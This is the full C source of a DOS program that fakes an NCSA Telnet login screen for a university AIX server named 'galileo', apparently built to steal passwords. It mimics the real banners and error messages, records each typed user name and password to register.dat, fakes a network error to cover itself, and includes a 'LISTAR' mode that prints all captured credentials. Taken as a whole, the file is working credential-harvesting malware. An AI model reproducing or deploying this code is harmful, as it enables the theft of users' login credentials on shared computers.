468 lines
10 KiB
C
468 lines
10 KiB
C
/*
|
||
// Emulador de Telnet para GALILEO
|
||
*/
|
||
|
||
|
||
#include <string.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <conio.h>
|
||
#include <dos.h>
|
||
|
||
/* The clock tick interrupt */
|
||
#define INTR 0x1C
|
||
#define ATTR 0x1E00
|
||
#ifdef __cplusplus
|
||
#define __CPPARGS ...
|
||
#else
|
||
#define __CPPARGS
|
||
#endif
|
||
|
||
typedef unsigned int (far *s_arrayptr);
|
||
|
||
#define NUMERO_DE_LINEAS 59 //64 /* N§ de lineas de texto */
|
||
|
||
#define LINEA1 7
|
||
#define DELAY1 150
|
||
|
||
#define LINEA2 25
|
||
#define DELAY2 200
|
||
|
||
#define LINEA3 38
|
||
#define CORTEN 46
|
||
#define DELAY3 70
|
||
|
||
#define DELAY4 90
|
||
#define DELAY5 100
|
||
#define EPASSWORD 200
|
||
|
||
|
||
#define OPEN 1
|
||
#define CLOSE 0
|
||
#define GET 1
|
||
#define PUT 0
|
||
|
||
char buffer_L[255];
|
||
FILE *handle;
|
||
|
||
typedef struct
|
||
{
|
||
struct date Fecha;
|
||
struct time Hora;
|
||
char code;
|
||
int nreg;
|
||
} Header;
|
||
|
||
typedef struct
|
||
{
|
||
char login[30];
|
||
char passw[30];
|
||
} Login_Passw;
|
||
|
||
Header header;
|
||
Login_Passw LP;
|
||
|
||
void interrupt ( *oldhandler)(__CPPARGS);
|
||
void interrupt handler(__CPPARGS);
|
||
void clock_tsr(char ON_OFF);
|
||
char debuglog(char Action);
|
||
void listar(void);
|
||
void Fin(void);
|
||
|
||
//char texto[NUMERO_DE_LINEAS][81];
|
||
char *texto[81] =
|
||
{ "National Center for Supercomputing Applications"
|
||
, "NCSA Telnet 2.3.05 for the PC"
|
||
, ""
|
||
, "Alt-H presents a summary of special keys"
|
||
, ""
|
||
, "International keyboard support by Chiquito San"
|
||
, "Te da cuen pecadol. Triana. ."
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, "AIX telnet (galileo)"
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, ""
|
||
, " ### # # # # #### ###"
|
||
, " # # # # # # # # # #"
|
||
, " # # # # # # # # #"
|
||
, " # ## ##### # # # #### # #"
|
||
, " # # # # # # # # # #"
|
||
, " # # # # # # # # # #"
|
||
, " #### # # #### # #### ##### ###"
|
||
, ""
|
||
, " Centro de calculo"
|
||
, ""
|
||
, " Facultad de Informatica y Estadistica"
|
||
, ""
|
||
, " ------------------------------------------------------------------------"
|
||
, " | IBM POWERserver 950 bajo AIX 3.2.5 |"
|
||
, " | |"
|
||
, " | Informacion rapida sobre AIX: ayuda |"
|
||
, " | Para cualquier sugerencia: mail root |"
|
||
, " | Aplicaciones instaladas: GNU C/C++, ZIP/UNZIP, GenHLP |"
|
||
, " | ELM, Utils.GNU, Utils.X11R4 |"
|
||
, " | |"
|
||
, " ------------------------------------------------------------------------"
|
||
, ""
|
||
, "********************************************************************************"
|
||
, "* IBM RISC POWERserver 950 bajo AIX 3.2.5. *"
|
||
, "* *"
|
||
, "* Aplicaciones instaladas: /usr/local/bin *"
|
||
, "* - Nuevas utilidades: XWP, SCREENS, EMACS, BASH *"
|
||
, "* *"
|
||
, "* Programas de uso p£blico: /home/pub *"
|
||
, "* *"
|
||
, "* Pr cticas y apuntes: /home/cursos *"
|
||
, "* *"
|
||
// , "* NUEVA VERSION DE COMPILADOR DE ADA: GNAT en /home/cursos/GNAT *"
|
||
// , "* *"
|
||
// , "* POR FAVOR!!! ELIMINEN ESPACIO DE SUS CUENTAS A FIN DE LIBERAR ESPACIO EN *"
|
||
// , "* DISCO QUE PERMITA EN TRABAJO DE TODOS. SE RECUERDA QUE EL *"
|
||
// , "* LIMITE SON 2 MB POR CUENTA DE USUARIOS *"
|
||
, "********************************************************************************"
|
||
, ""
|
||
};
|
||
int InputCadenaT(char *s, int lmax, char cf);
|
||
|
||
int i;
|
||
char buffer[4096], row, LogPass, *pass;
|
||
|
||
void main(int argc, char *argv[])
|
||
{
|
||
|
||
|
||
if ( argc==2 && strcmp(argv[1], "LISTAR") == 0 )
|
||
{
|
||
listar();
|
||
return;
|
||
}
|
||
|
||
|
||
if ( debuglog(OPEN)==1 )
|
||
{
|
||
system( "F:TELNET" );
|
||
return;
|
||
}
|
||
|
||
|
||
gettext(1, 1, 80, 25, buffer);
|
||
row = wherey();
|
||
|
||
clrscr();
|
||
printf("NCSA Telnet 2.3.05 for the PC");
|
||
delay(500);
|
||
textcolor(YELLOW);
|
||
textbackground(BLUE);
|
||
clrscr();
|
||
|
||
|
||
textbackground(GREEN);
|
||
textcolor(BLUE);
|
||
gotoxy(1, 25);
|
||
cprintf("* galileo " ); /* 12:34:00 */
|
||
clock_tsr(OPEN);
|
||
gotoxy(1, 1);
|
||
window(1, 1, 80, 24);
|
||
textbackground(BLUE);
|
||
textcolor(YELLOW);
|
||
|
||
|
||
|
||
for( i=0; i<=CORTEN; i++)
|
||
{
|
||
cprintf("%s\r\n", texto[i] );
|
||
if ( i >= 0 && i<= LINEA1 )
|
||
delay(DELAY1);
|
||
else
|
||
if ( i >= LINEA1 && i<= LINEA2 )
|
||
delay(DELAY2);
|
||
else
|
||
if ( i >= LINEA2 && i<= LINEA3 )
|
||
delay(DELAY3);
|
||
else
|
||
delay(DELAY4);
|
||
}
|
||
|
||
|
||
|
||
cprintf( "Usuario: " );
|
||
|
||
LogPass = CLOSE;
|
||
while( LogPass == CLOSE )
|
||
{
|
||
LogPass = OPEN;
|
||
|
||
InputCadenaT( buffer_L, 254, 0);
|
||
strncpy( LP.login, buffer_L, 30 );
|
||
|
||
cprintf( "\r\nContrase¤a de %.8s: ", LP.login );
|
||
InputCadenaT( buffer_L, 254, 1);
|
||
strncpy( LP.passw, buffer_L, 30 );
|
||
|
||
if ( strlen( LP.login ) > 8 ) LogPass = CLOSE;
|
||
if ( strlen( LP.passw ) < 6 ) LogPass = CLOSE;
|
||
|
||
if ( LogPass == CLOSE )
|
||
{
|
||
delay(EPASSWORD);
|
||
cprintf( "\r\n3004-007 Ha entrado un nombre o contrase¤a de inicio de sesi¢n no v lido.");
|
||
cprintf( "\r\ninicio sesi¢n: ");
|
||
}
|
||
|
||
};
|
||
|
||
debuglog(CLOSE); /* PASSWORD HOOKED!!! OH YEAAAA... */
|
||
|
||
cprintf("\r\n");
|
||
for( i=CORTEN; i<NUMERO_DE_LINEAS; i++)
|
||
{
|
||
cprintf("%s", texto[i] );
|
||
delay(DELAY5);
|
||
}
|
||
|
||
sleep(3);
|
||
Fin();
|
||
}
|
||
|
||
void Fin(void)
|
||
{
|
||
/*ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ*/
|
||
int ch;
|
||
cprintf("\r\n\r\n");
|
||
clock_tsr(CLOSE);
|
||
window(1, 1, 80, 25);
|
||
puttext(1, 1, 80, 25, buffer);
|
||
gotoxy( 1, row );
|
||
/*ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ*/
|
||
printf("\nSHELL-332-80: Network Error on Server PEGASO. Connection no longer valid.\n");
|
||
do
|
||
{
|
||
printf("Abort, Retry? ");
|
||
ch = getch();
|
||
}while( toupper( ch ) != 'A' && toupper( ch ) != 'R' );
|
||
|
||
if ( toupper(ch) == 'A' )
|
||
printf( "Abort\n" );
|
||
else {
|
||
printf( "Retry\n" );
|
||
sleep(2);
|
||
}
|
||
printf("\n**Program Aborted**\n");
|
||
printf("Error de Interrupci¢n 15\n\n");
|
||
/*ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ*/
|
||
}
|
||
|
||
char debuglog(char Action)
|
||
{
|
||
struct date fc;
|
||
struct time hc;
|
||
|
||
getdate( &fc );
|
||
gettime( &hc );
|
||
|
||
if ( Action == OPEN )
|
||
{
|
||
if ( (handle = fopen( "register.dat", "r+b" ) ) == NULL )
|
||
{
|
||
/*// Create a new file ( hook login's )*/
|
||
if ( (handle = fopen( "register.dat", "wb" ) ) == NULL )
|
||
return 1;
|
||
rewind(handle);
|
||
header.Fecha = fc;
|
||
header.Hora = hc;
|
||
header.code = 26;
|
||
header.nreg = 0;
|
||
fwrite( &header, sizeof(Header), 1, handle);
|
||
fclose(handle);
|
||
if ( (handle = fopen( "register.dat", "r+b" ) ) == NULL )
|
||
return 1;
|
||
} else {
|
||
rewind(handle);
|
||
fread( &header, sizeof(Header), 1, handle);
|
||
if ( header.Fecha.da_day == fc.da_day && (hc.ti_min-header.Hora.ti_min) <= 5 )
|
||
{
|
||
fclose(handle);
|
||
return 1;
|
||
} else {
|
||
rewind(handle);
|
||
header.Fecha = fc; header.Hora = hc; header.code = 26; header.nreg++;
|
||
fwrite( &header, sizeof(Header), 1, handle);
|
||
}
|
||
}
|
||
} else {
|
||
fseek( handle, ((header.nreg*sizeof(Login_Passw))+sizeof(Header)), SEEK_SET );
|
||
fwrite( &LP, sizeof(Login_Passw), 1, handle);
|
||
fclose( handle );
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
void listar(void)
|
||
{
|
||
int i;
|
||
|
||
if ( (handle = fopen( "register.dat", "rb" ) ) == NULL ) { cprintf( "NO PASSWORD HOOKED :-(\n\r"); return; }
|
||
rewind(handle);
|
||
fread( &header, sizeof(Header), 1, handle );
|
||
|
||
cprintf( "FuTuRe ViSiOn, Your wish are order for me. :-)\n\r" );
|
||
for( i=0; i <= header.nreg; i++)
|
||
{
|
||
fread( &LP, sizeof(Login_Passw), 1, handle);
|
||
cprintf( "Login: %25s Password!!! %25s\n\r", LP.login, LP.passw );
|
||
}
|
||
|
||
fclose(handle);
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
void clock_tsr(char ON_OFF)
|
||
{
|
||
|
||
if ( ON_OFF == OPEN )
|
||
{
|
||
/* get the address of the current clock
|
||
tick interrupt */
|
||
oldhandler = getvect(INTR);
|
||
|
||
/* install the new interrupt handler */
|
||
setvect(INTR, handler);
|
||
}else
|
||
if ( ON_OFF == CLOSE )
|
||
{
|
||
/* restore the address of the old clock
|
||
tick interrupt */
|
||
setvect(INTR, oldhandler);
|
||
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
void interrupt handler(__CPPARGS)
|
||
{
|
||
s_arrayptr screen[80];
|
||
static unsigned char h, m, s, c;
|
||
screen[0] = (s_arrayptr) MK_FP(0xB800,0);
|
||
|
||
/* put the number on the screen */
|
||
asm {
|
||
mov ah, 0x02
|
||
int 0x1A
|
||
mov h, ch
|
||
mov m, cl
|
||
mov s, dh
|
||
}
|
||
c = h;
|
||
screen[0][1992] = (h >> 4) + '0' + ATTR;
|
||
screen[0][1993] = (c & 0x0F) + '0' + ATTR;
|
||
screen[0][1994] = ':' + ATTR;
|
||
c = m;
|
||
screen[0][1995] = (m >> 4) + '0' + ATTR;
|
||
screen[0][1996] = (c & 0x0F) + '0' + ATTR;
|
||
screen[0][1997] = ':' + ATTR;
|
||
c = s;
|
||
screen[0][1998] = (s >> 4) + '0' + ATTR;
|
||
screen[0][1999] = (c & 0x0F) + '0' + ATTR;
|
||
|
||
/* call the old interrupt handler */
|
||
oldhandler();
|
||
}
|
||
|
||
|
||
|
||
int InputCadenaT(char *s, int lmax, char cf)
|
||
{
|
||
enum { CR = 13, BS = 8, ALTH = 35 };
|
||
char Buffer[4096];
|
||
char px = wherex(), p1;
|
||
char py = wherey(), p2;
|
||
char hicode = 0;
|
||
|
||
char buf[255];
|
||
int ls;
|
||
char *s1;
|
||
int i, c, ok;
|
||
|
||
s1 = s; s[0] = '\0';
|
||
|
||
ls = 0;
|
||
s += ls;
|
||
gotoxy(px, py);
|
||
do {
|
||
hicode = 0;
|
||
c = getch();
|
||
ok = (c == CR);
|
||
if ( c == 0 ) {
|
||
hicode = 1;
|
||
switch(c = getch())
|
||
{
|
||
case ALTH:
|
||
p1 = wherex(); p2 = wherey();
|
||
gettext(1, 1, 80, 25, Buffer);
|
||
clrscr();
|
||
//ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
// cprintf( " Help text do not found !!! " );
|
||
Fin();
|
||
//ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
getch();
|
||
puttext(1, 1, 80, 25, Buffer);
|
||
gotoxy( p1, p2 );
|
||
break;
|
||
default:
|
||
hicode = 0;
|
||
}
|
||
}
|
||
if ( !ok && hicode == 0)
|
||
switch( c )
|
||
{
|
||
case BS:
|
||
if ( ls > 0 )
|
||
{
|
||
ls --;
|
||
s--;
|
||
if(cf!=1)
|
||
{
|
||
gotoxy( px+ls, py );
|
||
putch(' ');
|
||
gotoxy( px+ls, py );
|
||
} else gotoxy( px, py );
|
||
}
|
||
break;
|
||
default:
|
||
if ( ls < lmax )
|
||
{
|
||
*s++ = c;
|
||
ls++;
|
||
if(cf==1) gotoxy( px, py );
|
||
else putch(c);
|
||
}
|
||
break;
|
||
}
|
||
|
||
} while ( ! ok );
|
||
|
||
*s = 0;
|
||
return ls;
|
||
}
|